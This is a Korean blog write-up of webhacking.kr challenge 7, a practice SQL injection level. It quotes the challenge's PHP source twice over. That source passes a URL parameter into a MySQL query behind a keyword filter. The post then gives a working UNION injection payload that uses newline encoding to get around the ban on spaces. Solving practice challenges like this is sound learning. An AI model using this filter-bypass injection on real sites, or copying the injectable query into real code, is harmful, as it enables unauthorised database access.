처음 문제에 들어가면 아래와 같은 오브젝트가 보인다.
일단 눌러보니 아래와 같은 얼럿창이 발생한다.
이전 문제들에서도 그랬듯(1번부터 차례대로 풀어왔다면) 무조건 얼럿창이 뜨는 구조인 것 같아 소스를 확인해본다.
<html> | |
<head> | |
<title>Challenge 7</title> | |
</head> | |
<body> | |
<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p><input type=button style=border:0;bgcolor='gray' value='auth' onclick= | |
alert('Access_Denied!')><p><!-- admin mode : val=2 --> | |
<!-- | |
index.phps | |
--> | |
</body> | |
</html> | |
예상대로 버튼은 얼럿창을 띄우는 용도만 있고, 행동은 php에 ?로 인자를 전달해야 할 것 같다.
단서는 없지만 웹해킹kr은 친절하게 힌트를 주기 때문에 저기 대놓고 있는 .phps파일에 소스가 있을 것이라 추측하고 열어본다.
아래는 index.phps 파일의 소스이다.
<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.
union을 이용하세요
-->
<?
$answer = "????";
$go=$_GET[val];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
$ck=$go;
$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");
if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }
$rand=rand(1,5);
if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}
if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}
if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}
if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}
if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}
$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }
if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}
if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
}
?>
<!--
index.phps
-->
</body>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.
union을 이용하세요
-->
<?
$answer = "????";
$go=$_GET[val];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
$ck=$go;
$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");
if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }
$rand=rand(1,5);
if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}
if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}
if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}
if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}
if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}
$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }
if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}
if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
}
?>
<!--
index.phps
-->
</body>
</html>
대충 읽어보니 *,/,스페이스 3가지가 막혀있는 구조이고, union을 이용하라고 써있다.
또한 @solve() 함수가 실행되기 위해서는 '2'값을 전달해 주어야 할 것 같다.
union의 특성을 이용해서 쿼리에서 처리하지 않는 값 하나와 '2'값을 넣어주자.
간단하게 아래와 같이 구현해 보았다.
val=3)%0aunion%0aselect%0a(5-3
* %0a는 스페이스가 입력되지 않기에, 우회용으로 삽입함
* 입력은 http://webhacking.kr/challenge/web/web-07/index.php?val=3)%0aunion%0aselect%0a(5-3 로 해보자.
가운데에 러시안룰렛(;;)이 있기에 몇번 입력해야 한다. 성공메시지를 확인하고 클리어.
'Webhackingkr' 카테고리의 다른 글
webhackingkr 8번 (0) | 2015.03.05 |
---|---|
webhackingkr 6번 (0) | 2015.03.04 |